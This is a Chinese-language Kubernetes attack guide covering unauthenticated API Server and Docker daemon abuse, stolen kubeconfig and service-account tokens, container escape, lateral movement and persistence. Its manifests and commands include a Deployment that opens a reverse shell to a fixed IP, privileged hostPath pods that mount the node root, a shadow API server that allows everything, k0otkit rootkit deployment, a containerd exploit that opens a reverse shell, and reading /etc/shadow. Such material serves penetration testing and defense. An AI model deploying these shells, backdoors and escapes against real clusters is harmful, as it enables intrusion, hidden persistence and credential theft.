云原生之Kubernetes安全
字数 1490 2025-08-29 08:30:36
Kubernetes安全攻防技术详解
初始访问攻击面
API Server未授权访问
- 风险点:API Server作为K8s集群管理入口,默认端口8080(无认证)和6443(TLS认证)
- 攻击场景:
- 8080端口暴露公网
- 匿名用户绑定到cluster-admin用户组
- 利用方法:
# 查看pods https://192.168.4.110:6443/api/v1/namespaces/default/pods?limit=500 # 创建特权容器 https://192.168.4.110:6443/api/v1/namespaces/default/pods/test-4444 # 执行命令 https://192.168.4.110:6443/api/v1/namespace/default/pods/test-4444/exec?command=whoami
K8s configfile泄露
-
配置文件位置:
- --kubeconfig指定路径
- $KUBECONFIG环境变量
- 默认$HOME/.kube/config
-
完整利用流程:
- 获取configfile
- 创建后门Pod并挂载主机路径
- 通过kubectl进入容器
- 利用挂载目录逃逸
# Linux安装kubectl curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" sudo install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl # 使用泄露的config kubectl --kubeconfig k8s.yaml # 创建特权Pod apiVersion: v1 kind: Pod metadata: name: test-444 spec: containers: - name: test-444 image: nginx:1.14.2 volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: / type: Directory
Docker Daemon公网暴露
- 风险端口:
- 2375: 未认证HTTP
- 2376: 可信HTTPS
- 检测与利用:
# 探测未授权访问 curl http://192.168.238.129:2375/info docker -H tcp://192.168.238.129:2375 info # 设置环境变量方便操作 export DOCKER_HOST="tcp://192.168.238.129:2375"
利用Service Account
- 默认路径:
/run/secrets/kubernetes.io/serviceaccount/token - 利用条件:未配置RBAC或配置不当
- 利用方法:
# 设置API服务器地址 export APISERVER=https://${KUBERNETES_SERVICE_HOST} # 读取ServiceAccount信息 export SERVICEACCOUNT=/var/run/secrets/kubernetes.io/serviceaccount export NAMESPACE=$(cat ${SERVICEACCOUNT}/namespace) export TOKEN=$(cat ${SERVICEACCOUNT}/token) export CACERT=${SERVICEACCOUNT}/ca.crt # 查询集群信息 curl --cacert ${CACERT} --header "Authorization: Bearer ${TOKEN}" -X GET ${APISERVER}/api/v1/namespaces
持久化技术
使用Deployment持久化
apiVersion: apps/v1
kind: Deployment
metadata:
name: nginx-deploy
labels:
k8s-app: nginx-demo
spec:
replicas: 3
selector:
matchLabels:
app: nginx
template:
metadata:
labels:
app: nginx
spec:
hostNetwork: true
hostPID: true
containers:
- name: nginx
image: nginx:1.7.9
imagePullPolicy: IfNotPresent
command: ["bash"]
args: ["-c", "bash -i >& /dev/tcp/192.168.238.130/4242 0>&1"]
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
type: Directory
Shadow API Server
- 特点:
- 与真实API Server功能一致
- 开启全部权限
- 接受匿名请求
- 不保存审计日志
- 部署方法:
# 一键部署 ./cdk run k8s-shadow-apiserver default # 添加的关键选项 --allow-privileged --insecure-port=9443 --insecure-bind-address=0.0.0.0 --secure-port=9444 --anonymous-auth=true --authorization-mode=AlwaysAllow
k0otkit Rootkit
- 技术特点:
- 使用DaemonSet和Secret资源
- 就地取材使用kube-proxy镜像
- 动态容器注入
- Meterpreter流量加密
- 无文件攻击
- 部署流程:
- 生成k0otkit:
./pre_exp.sh - 监听:
./handle_multi_reverse_shell.sh - 在master节点执行生成的k0otkit.sh
- 生成k0otkit:
CronJob持久化
apiVersion: batch/v1
kind: CronJob
metadata:
name: hello
spec:
schedule: "*/1 * * * *" # 每分钟执行一次
jobTemplate:
spec:
template:
spec:
containers:
- name: hello
image: busybox
imagePullPolicy: IfNotPresent
command:
- /bin/sh
- -c
- # 反弹Shell或者木马
restartPolicy: OnFailure
权限提升技术
特权容器逃逸
- 利用条件:容器配置了
privileged: true - 逃逸方法:
# 查看磁盘 fdisk -l # 挂载宿主机目录 mkdir /tmp/test mount /dev/sda3 /tmp/test chroot /tmp/test bash
Docker漏洞利用
CVE-2020-15257
- 影响版本:
- Containerd < 1.3.9
- Containerd 1.4.0~1.4.2
- 检测方法:
cat /proc/net/unix | grep 'containerd-shim' - 利用方法:
./cdk_linux_386 run shim-pwn reverse 192.168.238.159 4455
CVE-2019-5736
- 影响版本:
- Docker version <=18.09.2
- RunC version <=1.0-rc6
- 利用流程:
- 下载并编译POC
- 上传到容器执行
- 等待管理员进入容器触发
Linux Capabilities逃逸
- 关键Capabilities:
- cap_sys_ptrace
- cap_sys_admin
- cap_dac_read_search
- 检测方法:
cat /proc/self/status | grep CapEff capsh --print
探测技术
集群内网扫描
- 网络类型:
- 同一Pod内容器间通信
- Pod间通信
- Pod与Service间通信
- 外部流量与Service间通信
- 扫描工具:nmap、masscan等
常用端口探测
- 关键端口:
- API Server: 6443, 8080
- etcd: 2379, 2380
- kubelet: 10250, 10255
- NodePort: 30000-32767
集群内部网络
- 默认网络:
- Flannel: 10.244.0.0/16
- Calico: 192.168.0.0/16
横向移动技术
污点(Taint)横向渗透
- 查看节点信息:
kubectl get nodes kubectl describe nodes <node-name> - 创建容忍污点的Pod:
apiVersion: v1 kind: Pod metadata: name: control-master-15 spec: tolerations: - key: node.kubernetes.io/unschedulable operator: Exists effect: NoSchedule containers: - name: control-master-15 image: ubuntu:18.04 command: ["/bin/sleep", "3650d"] volumeMounts: - name: master mountPath: /master volumes: - name: master hostPath: path: / type: Directory - 获取Master控制权:
kubectl exec control-master-15 -it bash chroot /master bash cat /etc/shadow
结论与趋势
- 当前黑产主要利用未授权访问进行挖矿
- 云原生攻击武器发展将降低攻击门槛
- 虚拟机/容器逃逸攻击、供应链攻击将快速增长
- 私有云部署常缺乏有效隔离,风险较高
- 定制化云产品使用大量第三方组件,存在长期暴露风险